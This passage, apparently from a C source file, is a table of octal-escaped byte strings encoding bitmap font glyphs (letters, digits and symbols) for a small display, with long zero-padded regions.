\"\\37\\31\\20\\0\\0\\0\\0\\20\\36\\36\\36\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\374\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\37\\17\"\n  \"\\7\\3\\0\\0\\0\\200\\240\\240\\340\\340\\300\\300\\300\\300\\340\\340\\240\\240\\200\\0\\0\\0\\2\\2\\3\\3\\1\\1\\1\\1\\3\\3\"\n  \"\\2\\2\\0\\0\\0\\200\\200\\200\\200\\200\\360\\360\\360\\360\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 <<\\34\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\70\\30\\10\\0\\0\\0\\0\\10\\14\\16\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\204\\304l\\374\\370\\370\\360\\0\\0\\0\\0\\7\\17\\17\\37\\33\\21\\20\\30\\37\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\20\\20\\30\\30\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\10\\10\\14\\14\\4\\4\\204\\314\\374\\370x\\60\\0\\0\\0\\0\\30\\34\\36\\36\\27\\23\\21\\21\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\10\\10\\14\\14\\204\\204\\204\\204\\314\\374xx\\60\\0\\0\\0\\10\\10\\30\\30\\20\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\200\\300\\340\\360x<\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\21\\21\\37\\37\\37\\37\"\n  \"\\21\\21\\0\\0\\0\\0||||DDDD\\304\\304\\204\\204\\4\\0\\0\\0\\10\\10\\30\\30\\20\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\360\\370\\370\\374\\214\\204\\204\\204\\204\\204\\0\\0\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\14\\14\\14\\14\\4\\204\\304\\344\\374|<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60xx\\374\\314\\204\\204\\204\\314\\374xx\\60\\0\\0\\0\\6\\17\\17\\37\\31\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\60xx\\374\\314\\204\\204\\204\\214\\374\\370\\370\\360\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\34\\34\\34\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x<\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34<x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\20\\30\\30\\34\\14\\204\\304\\354\\374x\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\304\\344\\344$$<\\374\\374\\370\\0\\0\\7\\17\\17\\37\\30\\21\\23\\23\\22\\22\\22\"\n  \"\\23\\23\\1\\0\\0\\0\\300\\340\\360\\370<\\34\\34<\\370\\360\\340\\300\\0\\0\\0\\0\\37\\37\\37\\37\\1\\1\\1\\1\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\34\\30\\30\\20\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\34\"\n  \"\\14\\14\\4\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\304\\304\\4\\14\\34\\34\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\21\\21\\20\"\n  \"\\30\\34\\34\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\304\\304\\4\\14\\34\\34\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\34\\30\\30\\20\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\21\\31\\37\"\n  \"\\17\\37\\37\\0\\0\\0\\374\\374\\374\\374\\200\\200\\200\\200\\200\\374\\374\\374\\374\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\4\\14\\14\\34\\30\\30\\30\\37\\17\\17\"\n  \"\\7\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\340\\360\\370<\\34\\14\\4\\0\\0\\0\\20\\20\\37\\37\\37\\37\\1\\3\\7\\17\\36\"\n  \"\\34\\30\\20\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\20\\20\"\n  \"\\30\\34\\34\\0\\0\\374\\374\\374\\374\\70p\\340\\340p\\70\\374\\374\\374\\374\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374\\374p\\340\\300\\200\\0\\374\\374\\374\\374\\0\\0\\0\\37\\37\\37\\37\\0\\0\\1\\3\\7\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\0\\7\\17\\17\\37\\30\\22\\26\\36\\34\\77\"\n  \"\\77/\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\1\\3\\7\\17\\36\"\n  \"\\34\\30\\20\\0\\0\\20\\70\\70|l\\304\\304\\204\\204\\14\\34\\30\\30\\20\\0\\0\\4\\14\\14\\34\\30\\20\\20\\21\\21\\33\\37\"\n  \"\\16\\16\\4\\0\\0\\34\\34\\14\\4\\4\\374\\374\\374\\374\\4\\4\\14\\34\\34\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\1\\3\\7\\17\\36\\34\\34\\36\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\7\\17\\37\\37\\34\\16\\7\\7\\16\\34\\37\"\n  \"\\37\\17\\7\\0\\0\\0\\14\\34<|\\360\\340\\340\\360|<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\37\\7\\3\\3\\7\\37\\36\"\n  \"\\34\\30\\0\\0\\0\\0<|\\374\\374\\300\\200\\200\\300\\374\\374|<\\0\\0\\0\\0\\0\\0\\20\\21\\37\\37\\37\\37\\21\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\34\\34\\14\\4\\204\\304\\344\\364|<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\37\\27\\23\\21\\20\\20\\30\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\30\\70x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\16\"\n  \"\\14\\10\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\7\\17\\36\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@\"\n  \"@@@@\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@@@@\\300\\300\\200\\200\\0\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\4\\4\\374\\374\\374\\374@@\\300\\300\\200\\200\\0\\0\\0\\0\\20\\20\\37\\37\\17\\17\\20\\20\\20\\37\"\n  \"\\37\\17\\17\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\20\\30\"\n  \"\\30\\10\\10\\0\\0\\0\\0\\200\\200\\300\\300DD\\374\\374\\374\\374\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\33\"\n  \"\\33\\13\\13\\0\\0\\0\\200\\200\\370\\370\\374\\374\\204\\204\\214\\214\\30\\30\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300@@@\\200\\200\\300\\300@@\\0\\0\\0''ooHHH\\177\\177\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\200@@\\300\\300\\200\\200\\0\\0\\0\\20\\20\\37\\37\\37\\37\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0@@\\330\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\\330\\330\\330\\330\\0\\0\\0\\0\\20\\60\\60p`@@`\\177\\77\"\n  \"\\77\\37\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\0\\0\\200\\300\\300\\300@\\0\\0\\0\\20\\20\\37\\37\\37\\37\\2\\7\\17\\37\"\n  \"\\35\\30\\20\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\"\n  \"\\20\\20\\0\\0\\0\\300\\300\\300\\300\\300\\300\\200\\200\\300\\300\\300\\300\\300\\200\\0\\0\\37\\37\\37\\37\\0\\37\\37\\37\\37\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0@@\\300\\300\\200\\200@@\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\200\\200\\300\\300@@@\\300\\300\\200\\200\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0@@\\300\\300\\200\\200@@\\300\\300\\200\\200\\0\\0\\0\\0@@\\177\\177\\177\\177HH\\14\\17\"\n  \"\\7\\7\\3\\0\\0\\0\\0\\200\\200\\300\\300@@\\200\\200\\300\\300@@\\0\\0\\0\\3\\7\\7\\17\\14\\10H\\177\\177\\177\"\n  \"\\177@@\\0\\0\\0@@\\300\\300\\200\\200\\300@@\\300\\300\\200\\200\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\11\\11\\33\\33\\22\\22\\22\\22\\22\\36\"\n  \"\\36\\14\\14\\0\\0@@@@\\360\\370\\374\\374@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\30\"\n  \"\\30\\10\\10\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\3\\3\\7\\7\\14\\14\\30\\30\\14\\14\\7\"\n  \"\\7\\3\\3\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\7\\17\\37\\37\\30\\34\\16\\16\\34\\30\\37\"\n  \"\\37\\17\\7\\0\\0\\0@@\\300\\300\\200\\0\\0\\200\\300\\300@@\\0\\0\\0\\0\\20\\20\\30\\35\\17\\7\\7\\17\\35\\30\"\n  \"\\20\\20\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\3\\7GOLHHHh\\177\"\n  \"\\77\\77\\37\\0\\0\\0\\300\\300\\300\\300@@@@\\300\\300\\300\\300\\0\\0\\0\\0\\30\\30\\34\\34\\26\\26\\23\\23\\31\\31\"\n  \"\\30\\30\\0\\0\\0\\0\\200\\200\\200\\200\\360\\370\\374|\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\30\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0||||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\14|\\374\\370\\360\\200\\200\\200\\200\\0\\0\\0\\0\\20\\20\\20\\30\\37\\37\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\14\\14\\4\\4\\14\\10\\10\\14\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300``\\60\\60``\\300\\300\\200\\200\\0\\0\\3\\3\\3\\3\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\354\\354\\354\\354\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\37\\37\\17\\7\"\n  \"\\0\\0\\0\\0\\0\\340\\340\\360\\360\\20\\34\\34\\34\\34\\20\\60\\60  \\0\\0\\3\\3\\7\\7\\4\\34\\34\\34\\34\\4\\6\"\n  \"\\6\\2\\2\\0\\0\\0@@\\370\\370\\374\\374DD\\14\\14\\30\\30\\0\\0\\0\\0\\30\\30\\37\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\30\\30\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\204\\204\\214\\214\\230\\370\\360\\360\\370\\230\\214\\214\\204\\204\\0\\0\\2\\2\\2\\2\\2\\37\\37\\37\\37\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\304\\304\\356\\356::\\22\\22\\62\\62\\346\\346\\304\\304\\0\\0\\10\\10\\31\\31\\23\\23\\22\\22\\27\\27\"\n  \"\\35\\35\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\230\\230\\274\\274\\244\\244\\274\\274\\274\\274\\240\\240\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300``\\240\\240\\300\\300``  \\0\\0\\0\\0\\1\\1\\3\\3\\2\\2\\1\\1\"\n  \"\\3\\3\\2\\2\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\14\\36\\36\\22\\22\\36\\36\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@@@@@\\370\\370\\370\\370@@@@@\\0\\0\\10\\10\\10\\10\\10\\13\\13\\13\\13\\10\\10\"\n  \"\\10\\10\\10\\0\\304\\304\\346\\346\\262\\262\\236\\236\\314\\314\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\0\\0\\0\\340\\340\\340\\340\\0\\0\\0  \\77\\77\\37\\37\\4\\4\\4\\7\"\n  \"\\7\\3\\3\\0xx\\374\\374\\204\\204\\374\\374\\374\\374\\4\\4\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\"\n  \"\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\230\\230\\274\\274\\244\\244\\274\\274\\230\\230\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  ``\\300\\300\\240\\240``\\300\\300\\200\\200\\0\\0\\2\\2\\3\\3\\1\\1\\2\\2\\3\\3\"\n  \"\\1\\1\\0\\0\\10\\10||||\\200\\200\\300\\300``\\60\\60\\20\\20\\4\\4\\6\\6\\3\\3\\11\\11\\14\\14\\16\\12\"\n  